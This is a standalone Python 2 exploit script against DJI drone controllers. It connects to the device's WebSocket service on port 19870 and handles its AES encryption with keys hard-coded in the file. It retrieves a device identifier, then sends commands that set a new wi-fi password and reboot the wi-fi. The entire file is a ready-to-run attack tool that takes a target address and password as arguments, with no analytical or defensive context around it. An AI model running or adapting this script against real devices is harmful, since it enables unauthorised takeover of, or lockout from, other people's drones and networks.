dji_ws_exploit.py

import sys
import argparse
from websocket import *
import base64
from Crypto.Cipher import AES
import json

CMD_SETPASS = '{"SEQ":"12345","CMD":"SetPasswordEx","VALUE":"%s"}'
CMD_REBOOT  = '{"SEQ":"12345","CMD":"DoRebootWifi"}'

class dji_WebSocket(WebSocket):
    key_out = "e86aada34f6775290ba62ef372f0289f"
    key_in =  "d93fedf01f9642769bd82ca098d1368f"

    def __init__(self, encryption=True, get_mask_key=None, sockopt=None, sslopt=None,
                 fire_cont_frame=False, enable_multithread=False,
                 skip_utf8_validation=False, **_):
        self.encryption = encryption
        super(dji_WebSocket, self).__init__(get_mask_key, sockopt, sslopt,
                 fire_cont_frame, enable_multithread,
                 skip_utf8_validation, **_)

    def encrypt(self, raw):
        padded = self._pad(raw)
        iv = '\x00' * AES.block_size
        cipher = AES.new(self.key_in, AES.MODE_CBC, iv)
        enc = cipher.encrypt(padded)
        return base64.b64encode(enc)

    def decrypt(self, enc):
        raw = base64.b64decode(enc)
        iv = '\x00' * AES.block_size
        cipher = AES.new(self.key_out, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(raw))

    def _pad(self, s):
        return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

    def _unpad(self, s):
        return s[:-ord(s[len(s)-1:])]

    def send(self, payload, opcode=ABNF.OPCODE_TEXT):
        if self.encryption:
            data = self.encrypt(payload)
        else:
            data = payload
        super(dji_WebSocket, self).send(data)

    def recv(self):
        buf = super(dji_WebSocket, self).recv()
        if self.encryption:
            data = self.decrypt(buf)
        else:
            data = buf

        return data


def wf_exploit(target, pwd):
    enc = False
    ws = dji_WebSocket(encryption=enc)

    ws_general = "ws://%s:19870/general" % target
    print "[*] Connecting to %s" % ws_general
    ws.connect(ws_general)

    data = ws.recv()
    if data.find('"') == -1 and data.find(':') == -1:
        enc = True
    print "[*] Determined encryption: %s" % ("enabled" if enc else "disabled")
    ws.close()

    ws.encryption = enc
    ws.connect(ws_general)
    try:
        # Depending on the aircraft model the server may return another number of replies
        appstatus = ws.recv()
        appversion = ws.recv()
        devicestatus = ws.recv()
        event1 = ws.recv()
        event2 = ws.recv()

        dev_hash = json.loads(devicestatus)["FILE"]
        print "[*] Grabbed id value: %s" % dev_hash
        ws.close()

        wf_cfg = "/controller/wifi/%s" % dev_hash
        if not devicestatus.find(wf_cfg):
            print "[-] Cannot find wi-fi settings url"
            exit(0)

        ws_wifi = "ws://%s:19870/controller/wifi/%s" % (target, dev_hash)
        print "[*] Connecting to %s" % ws_wifi
        ws.connect(ws_wifi)
        # ws.recv()

        print "[*] Setting new password for wi-fi network"
        ws.send(CMD_SETPASS % pwd)
        ws.recv()

        print "[*] Rebooting wi-fi"
        ws.send(CMD_REBOOT)
        ws.recv()

        print "[!] Success"
    except WebSocketException as e:
        print e


def parse_args():
    parser = argparse.ArgumentParser(description="DJI web socket utilization tool")
    parser.add_argument("target", help="Target domain name or ip address")
    parser.add_argument("password", help="New wi-fi password")

    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()

    wf_exploit(args.target, args.password)